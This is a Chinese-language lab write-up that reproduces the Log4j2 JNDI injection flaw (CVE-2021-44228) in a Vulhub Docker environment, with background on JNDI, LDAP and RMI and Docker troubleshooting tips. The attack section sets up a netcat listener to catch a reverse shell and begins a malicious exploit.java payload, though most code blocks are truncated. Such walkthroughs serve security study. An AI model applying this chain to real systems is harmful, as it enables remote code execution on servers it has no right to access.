Log4j2漏洞复现-Vulhub

Log4j2漏洞复现-Vulhub
Shalom1 Log4j2漏洞
1.1 Log4j2简介
Apache Log4j2 是一个广泛使用的 Java 日志框架,它是 Log4j 的升级版本,参考了 Logback 的一些优秀设计,并修复了一些问题,带来了重大提升。
1.2 Log4j2漏洞原理
Log4j2 启用了 lookup 功能,导致存在 JNDI 漏洞。lookup 是用于在日志消息中替换变量的函数,是通过配置文件中的 ${} 语法调用的。攻击者使用 ${} 关键标识符进行 JNDI 注入,调用JNDI服务(LDAP 或 RMI)向攻击者提前部署好的恶意站点获取恶意的 .class 对象,造成了远程代码执行。
JNDI
JNDI(Java Naming and Directory Interface,JAVA命名和目录接口):它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
LDAP
LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种用于访问和管理目录服务的应用协议。
RMI
RMI(Remote Method Invocation,远程方法调用)是 Java 中的一种远程调用机制,可以在不同的 JVM 之间实现 Java 对象之间的交互和通信。
2 漏洞复现
2.1 Vulhub靶场
环境
Kali
Kali proxychains代理:
vim /etc/proxychains.conf在 [ProxyList] 下方添加代理,例如:
socks5 192.168.91.1 10802执行命令时,在前方加上proxychains,例如:
proxychains curl ip.sb
1 | 更新源: |
1 | Docker常用命令 |
2.2 反弹shell
2.2.1 相关命令
1 | nc -lvvp 7777 (开启监听,接收shell) |
2.2.2 启动漏洞环境
1 | cd vulhub/log4j/CVE-2021-44228 (进入vulhub靶场) |
若启动之后无法访问,查看日志报错信息。详细步骤为:通过
docker ps查看 CONTAINER ID(每次启动都是随机的),通过docker exec -it <获取的ID> /bin/bash进入容器内部,通过cd /opt/solr/server/logs、cat solr-8983-console.log查看日志。如果日志如下:
root@3acecd6dc5ea:/opt/solr/server/logs# cat solr-8983-console.log
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
OpenJDK 64-Bit Server VM warning: Failed to reserve shared memory (errno = 12).
library initialization failed - unable to allocate file descriptor table - out of memory可以访问这个链接获取详细的解决办法:https://blog.csdn.net/hety119/article/details/140931724 。具体做法是:
systemctl status docker获取 docker.service 所在路径为/usr/lib/systemd/system/docker.service,vim /usr/lib/systemd/system/docker.service,在ExecStart参数值后追加--default-ulimit nofile=65535:65535,docker-compose down 关闭容器,systemctl daemon-reload、systemctl restart docker重启docker。如果日志是其它报错信息,自行网上搜索解决方法。
2.2.3 准备恶意代码和环境
创建 exploit.java 恶意文件
1 | import java.lang.Runtime; |
1 | javac exploit.java (编译为class文件,必须使用java8版本,其它版本可能失败) |
2.2.4 执行攻击
1 | nc -lvvp 7777 (开启监听) |






